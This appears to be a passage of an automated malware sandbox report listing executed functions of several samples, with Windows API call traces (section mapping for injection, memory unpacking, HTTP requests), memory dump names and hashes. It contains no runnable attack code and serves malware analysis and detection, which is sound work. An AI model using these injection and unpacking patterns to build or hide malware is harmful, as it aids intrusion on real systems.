Total number of Limit Nodes:	1

Executed Functions

Function 00401668 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction ID: 8cb595480139d26c46b8ec7cc0b1953ca669d16196fac315a4b1bba12a726abb
Opcode Fuzzy Hash: 02ceaf673d94f587c51b31482cc60a54ccbffaa9b353b6f3b2f6cd97280d7897
Instruction Fuzzy Hash: 10615F71A00245FBEB208F91CC89FAB7BB8EF81700F14016AF912BA2E5D7759941DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00401673 Relevance: 10.7, APIs: 7, Instructions: 177
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction ID: 8f8f6f685010ceb9f347f6944b71906c12c330ff756c9570f537c200b9fbed0e
Opcode Fuzzy Hash: 891fcc6af389a82af9568d78e59cda6317322d24d5faa624000b501fdb4194fa
Instruction Fuzzy Hash: 0D512AB1900245BFEB208F91CC89FEB7BB8EF85B00F14416AF911BA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040169C Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction ID: 77b0854bfe43c2aef023a2673bc99ccec947be12c3e09680a2140a748d19bd66
Opcode Fuzzy Hash: 272a0d403cf9641941f52f0e8d2b7fa7c4e637c03412b72681c5832d9ab09354
Instruction Fuzzy Hash: 045109B5900245BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016AA Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction ID: e5c4e8598d155431446e689f00fa6c699f5174c3f9309ca03551973270348d15
Opcode Fuzzy Hash: 9cec1cb01ca719f82c6422275eb34a26baccc27091fd0648b709ae14649a59af
Instruction Fuzzy Hash: 055108B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 004016A1 Relevance: 10.7, APIs: 7, Instructions: 162
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401776
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401794
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004017D5
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401806
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401828

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction ID: bff82585a94b653d791479d25ffa7738401545132b31b5a2d4ccc15da20913fe
Opcode Fuzzy Hash: 92ffd616a47cab6235f322e7d1ca718a451a31190012e06c6a6c0e0f76648b67
Instruction Fuzzy Hash: 785118B5900249BBEF208F91CC89FEFBBB8EF85B00F104159F911BA2A5D7719940CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401A3F Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction ID: 0405cf3f50ed5d956599920bb74973a651d39c73aeea14585325784e5073188e
Opcode Fuzzy Hash: 6d8ad5bbb507daeef821ca409a91fce6cd02b16c8eba4e12a7ced1510463ffbb
Instruction Fuzzy Hash: 6801A43130A204FBDB00AAE09D81D7B3629AB05750F304577BA13790F1C57D8A126F6F

Uniqueness

Uniqueness Score: -1.00%

Function 00401A4E Relevance: 1.3, APIs: 1, Instructions: 41
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction ID: 151e845f57ec598ea54a5a496c561fa99d2a1d19fd45ae50ddd01b3c9bf2891c
Opcode Fuzzy Hash: 291dad51ae9845e25adb8a4ff114bca4983d53b80b8e944ca78d20dced767d1e
Instruction Fuzzy Hash: 89F0C876306244EBDB009EE08D51EAA3625AF01310F240577B912751E1C67DCA12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A6A Relevance: 1.3, APIs: 1, Instructions: 35
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction ID: 2e86c35fdfcaae7ef9cecc4c1df2f7bf5847f43c02019ecbdb9e70af9d7e101f
Opcode Fuzzy Hash: e66ab9be692f9555cbdb5e88142f0a61d932ae8df08779d9278eb233dbc2c5d0
Instruction Fuzzy Hash: 91F05E31346205FBDB009EE09D81EBA3629AF45710F244177BA13791F2C67D8A12AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A71 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction ID: 9957b61946ed62f1bbaf51e9be9c6cda0d74723c5cfde22ea4b26d113c42f9d6
Opcode Fuzzy Hash: e13cc55455c98e6747fdcaf1300b14cd45be41dd5220fa342375a9f0f024a93a
Instruction Fuzzy Hash: A0F0A731301205FBDF00AFE0CD81DAA3739AF44310F144576BA12751E1C639CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A82 Relevance: 1.3, APIs: 1, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401A93

Part of subcall function 00401668: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401726
Part of subcall function 00401668: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401753

Memory Dump Source

Source File: 0000000D.00000002.2334615503.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2334450253.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334767039.0000000000404000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000D.00000002.2334891072.0000000000405000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_utihrjr.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction ID: 21aa175247acbe6b1edd241deca8f4f5c706112db1e502caa6c66dbcef64fcfd
Opcode Fuzzy Hash: d624887c81751b27c9bd15a31d4137b6ab5b433bec8673b55bffdf032be8f76e
Instruction Fuzzy Hash: 9AF03771305244FBDF009FE18D81DAA3629AF45310F244576BA16791E1C679CA11AF2B

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B677.exePID: 1712, Parent PID: 2580COMMON

Executed Functions

Function 004272CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 00427311

Part of subcall function 00427098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
Part of subcall function 00427098: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 00427363
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 004273BD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 004273F0

Strings

,, xrefs: 00427341

Memory Dump Source

Source File: 0000000E.00000003.2332353746.0000000000427000.00000040.00000001.01000000.00000009.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_427000_B677.jbxd

Similarity

API ID: Virtual$Alloc$Free$Protect
String ID: ,
API String ID: 1004437363-3772416878
Opcode ID: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction ID: 04cd73393287483ba110226213723f2bc03cf9cbeca2a68a19bb02d12f4ffc40
Opcode Fuzzy Hash: 15a4efe748f616053fe8ffffddab00f5333e8782292edb7e0670b88d1d28ae77
Instruction Fuzzy Hash: B6411CB5A0031AAFCB10DFA9D881A9EBBF4FF08354F50851AF959A7240D374E954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00427098 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 004270C1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 0042726D

Memory Dump Source

Source File: 0000000E.00000003.2332353746.0000000000427000.00000040.00000001.01000000.00000009.sdmp, Offset: 00427000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_427000_B677.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: ebe234c56d8c58d72e37663f9a88e747cece982d06593baa1cabaf23eeb3f041
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: E8719C71A08259DFCB41CF98D981BEEBBF0AF09314F244096E465F7241C238AA91DB69

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: B88B.exePID: 2792, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	2.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	347
Total number of Limit Nodes:	11

Executed Functions

Function 002E7630 Relevance: 7.9, APIs: 5, Instructions: 388
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,F139A196), ref: 002E76AA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 002E770B
GetProcAddress.KERNEL32(00000000), ref: 002E7712
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 002E77D3
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 002E77D7

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID:
API String ID: 374719553-0
Opcode ID: 1b08df8e6e4d6f4a6b9ac519617e1caa43a9259abf96113c89ef2841aef15318
Instruction ID: 81bda5a0e9a83a4f51506d4c5a09f9f9c077b7350031356fc26105b51e3bcdaa
Opcode Fuzzy Hash: 1b08df8e6e4d6f4a6b9ac519617e1caa43a9259abf96113c89ef2841aef15318
Instruction Fuzzy Hash: 3ED12770E642989BDF15BF29CC473AD7B75AB42314F90029CE405AB3C2DB745EA48BD2

Uniqueness

Uniqueness Score: -1.00%

Function 00319F9B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00319F9A,?,?,?,?,?,0031AFBD), ref: 00319FBD
TerminateProcess.KERNEL32(00000000,?,00319F9A,?,?,?,?,?,0031AFBD), ref: 00319FC4
ExitProcess.KERNEL32 ref: 00319FD6

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 5720ea33c2b2e130cafdc577b61573d70bb0f2f23f1c9d18c8f15494c918f339
Instruction ID: 3573f6f509b6f4a41e0fb1ec52a65a1f3a308359beff12f235487e5f0affd118
Opcode Fuzzy Hash: 5720ea33c2b2e130cafdc577b61573d70bb0f2f23f1c9d18c8f15494c918f339
Instruction Fuzzy Hash: 3AE0BD31400508ABCF1B6B68DDA9E993BA9EB59742F028815F805CA631CB75EDC2DA90

Uniqueness

Uniqueness Score: -1.00%

Function 002EBFC0 Relevance: 21.4, APIs: 9, Strings: 3, Instructions: 363
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(0033CEE4,00000000,00000000,00000000,00000000), ref: 002EC04C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 002EC070
HttpOpenRequestA.WININET(?,00000000), ref: 002EC0BA
HttpSendRequestA.WININET(?,00000000), ref: 002EC17A
InternetReadFile.WININET(?,?,000003FF,?), ref: 002EC22C
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 002EC2E0
InternetCloseHandle.WININET(?), ref: 002EC307
InternetCloseHandle.WININET(?), ref: 002EC30F
InternetCloseHandle.WININET(?), ref: 002EC317

Strings

-, xrefs: 002EE35E
stoi argument out of range, xrefs: 002F0DEA
invalid stoi argument, xrefs: 002F0DF4

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID: -$invalid stoi argument$stoi argument out of range
API String ID: 1354133546-1474290045
Opcode ID: e4c8c3f811c32188e9965931fc1165c94b5951c8717716f971e914520a50c409
Instruction ID: 4dbd3c8a90721a30569740a2cddfb5e7b00488410b0cb3f96959253a07e35f26
Opcode Fuzzy Hash: e4c8c3f811c32188e9965931fc1165c94b5951c8717716f971e914520a50c409
Instruction Fuzzy Hash: EFD138B16101589BEB29CF29CC84BEDBB79EF45304FA08198F908972D1DB709AD1CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0032538C Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00325045: CreateFileW.KERNELBASE(00000000,?,?,5T2,?,?,00000000,?,00325435,00000000,0000000C), ref: 00325062

GetLastError.KERNEL32 ref: 003254A0
__dosmaperr.LIBCMT ref: 003254A7
GetFileType.KERNELBASE(00000000), ref: 003254B3
GetLastError.KERNEL32 ref: 003254BD
__dosmaperr.LIBCMT ref: 003254C6
CloseHandle.KERNEL32(00000000), ref: 003254E6
CloseHandle.KERNEL32(0031E012), ref: 00325633
GetLastError.KERNEL32 ref: 00325665
__dosmaperr.LIBCMT ref: 0032566C

Strings

H, xrefs: 003255F1

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 6cdfa312578ef506578126987e306b7842ed2f3000a1ed064daf815795f021ba
Instruction ID: d480c2221b246f9edbe6587fa4ac2b8071b38fb190e66a490abc2f2fa6b73d49
Opcode Fuzzy Hash: 6cdfa312578ef506578126987e306b7842ed2f3000a1ed064daf815795f021ba
Instruction Fuzzy Hash: 65A15832A049149FCF1ADF68EC917AD7BA5EB0A320F140159F801AF391DB359E46CB52

Uniqueness

Uniqueness Score: -1.00%

Function 002E54F0 Relevance: 9.3, APIs: 6, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
